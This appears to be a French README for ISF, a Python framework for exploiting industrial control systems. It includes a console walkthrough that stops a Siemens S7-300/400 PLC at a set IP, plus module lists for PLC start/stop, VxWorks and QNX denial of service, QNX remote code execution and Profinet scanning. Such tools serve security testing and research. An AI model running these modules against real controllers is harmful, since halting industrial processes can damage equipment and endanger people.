
ISF(Industrial Control System Exploitation Framework),a exploitation framework based on Python
ISF (Industrial Exploitation Framework) est un cadre d'exploitation basé sur Python, similaire au framework metasploit.
ISF est basé sur le projet open source routersploit.
Lire ceci dans d'autres langues : English, 简体中文,
L'utilisation d'ISF pour attaquer des cibles sans consentement mutuel préalable est illégale. Il est de la responsabilité de l'utilisateur final de respecter toutes les lois locales, étatiques et fédérales applicables. Les développeurs déclinent toute responsabilité et ne sont pas responsables de tout usage abusif ou dommage causé par ce programme.
| Nom | Chemin | Description |
|---|---|---|
| modbus_tcp_client | icssploit/clients/modbus_tcp_client.py | Client Modbus-TCP |
| wdb2_client | icssploit/clients/wdb2_client.py | Client WdbRPC Version 2 (Vxworks 6.x) |
| s7_client | icssploit/clients/s7_client.py | Client s7comm (API S7 300/400) |
Ces protocoles peuvent être utilisés dans d'autres cadres de fuzzing comme Kitty ou pour créer votre propre client.
git clone https://github.com/dark-lbp/isf/
cd isf
python isf.py
root@kali:~/Desktop/temp/isf# python isf.py
_____ _____ _____ _____ _____ _ ____ _____ _______
|_ _/ ____|/ ____/ ____| __ \| | / __ \_ _|__ __|
| || | | (___| (___ | |__) | | | | | || | | |
| || | \___ \\___ \| ___/| | | | | || | | |
_| || |____ ____) |___) | | | |___| |__| || |_ | |
|_____\_____|_____/_____/|_| |______\____/_____| |_|
Cadre d'exploitation ICS
Note : ICSSPOLIT est un fork de routersploit à
https://github.com/reverse-shell/routersploit
Équipe Dev : wenzhe zhu(dark-lbp)
Version : 0.1.0
Exploits : 2 Scanneurs : 0 Identifiants : 13
Exploits ICS :
API : 2 Commutateur ICS : 0
Logiciel : 0
isf >
isf > use exploits/plcs/
exploits/plcs/siemens/ exploits/plcs/vxworks/
isf > use exploits/plcs/siemens/s7_300_400_plc_control
exploits/plcs/siemens/s7_300_400_plc_control
isf > use exploits/plcs/siemens/s7_300_400_plc_control
isf (Contrôle API S7-300/400) >
Vous pouvez utiliser la touche de tabulation pour la complétion.
isf (Contrôle API S7-300/400) > show options
Options de la cible :
Nom Paramètres actuels Description
---- ---------------- -----------
target Adresse cible p. ex. 192.168.1.1
port 102 Port cible
Options du module :
Nom Paramètres actuels Description
---- ---------------- -----------
slot 2 Numéro d'emplacement CPU.
command 1 Commande 0 : démarrer API, 1 : arrêter API.
isf (Contrôle API S7-300/400) >
isf (Contrôle API S7-300/400) > set target 192.168.70.210
[+] {'target': '192.168.70.210'}
isf (Contrôle API S7-300/400) > run
[*] Exécution du module...
[+] La cible est active
[*] Envoi du paquet à la cible
[*] Arrêt API
isf (Contrôle API S7-300/400) >
isf (Contrôle API S7-300/400) > show info
Nom :
Contrôle API S7-300/400
Description :
Utiliser la commande S7comm pour démarrer/arrêter l'API.
Appareils :
- Automates programmables Siemens S7-300 et S7-400 (API)
Auteurs :
- wenzhe zhu <jtrkid[at]gmail.com>
Références :
isf (Contrôle API S7-300/400) >
| Nom | Chemin | Description |
|---|
| s7_300_400_plc_control | exploits/plcs/siemens/s7_300_400_plc_control.py | Démarrage/arrêt API S7-300/400 PLC |
| s7_1200_plc_control | exploits/plcs/siemens/s7_1200_plc_control.py | Démarrage/arrêt/réinitialisation API S7-1200 PLC |
| vxworks_rpc_dos | exploits/plcs/vxworks/vxworks_rpc_dos.py | Déni de service distant Vxworks RPC (CVE-2015-7599) |
| quantum_140_plc_control | exploits/plcs/schneider/quantum_140_plc_control.py | Démarrage/arrêt API Schneider Quantum 140 série |
| crash_qnx_inetd_tcp_service | exploits/plcs/qnx/crash_qnx_inetd_tcp_service.py | Déni de service service TCP QNX Inetd |
| qconn_remote_exec | exploits/plcs/qnx/qconn_remote_exec.py | Exécution de code à distance QNX qconn |
| profinet_set_ip | exploits/plcs/siemens/profinet_set_ip.py | Configuration IP du périphérique Profinet DCP |
| Nom | Chemin | Description |
|---|
| profinet_dcp_scan | scanners/profinet_dcp_scan.py | Scanneur Profinet DCP |
| vxworks_6_scan | scanners/vxworks_6_scan.py | Scanneur Vxworks 6.x |
| s7comm_scan | scanners/s7comm_scan.py | Scanneur S7comm |
| enip_scan | scanners/enip_scan.py | Scanneur EthernetIP |
| Nom | Chemin | Description |
|---|
| pn_dcp | icssploit/protocols/pn_dcp | Protocole Profinet DCP |
| modbus_tcp | icssploit/protocols/modbus_tcp | Protocole Modbus TCP |
| wdbrpc2 | icssploit/protocols/wdbrpc2 | Protocole WDB RPC Version 2 |
| s7comm | icssploit/protocols/s7comm.py | Protocole S7comm |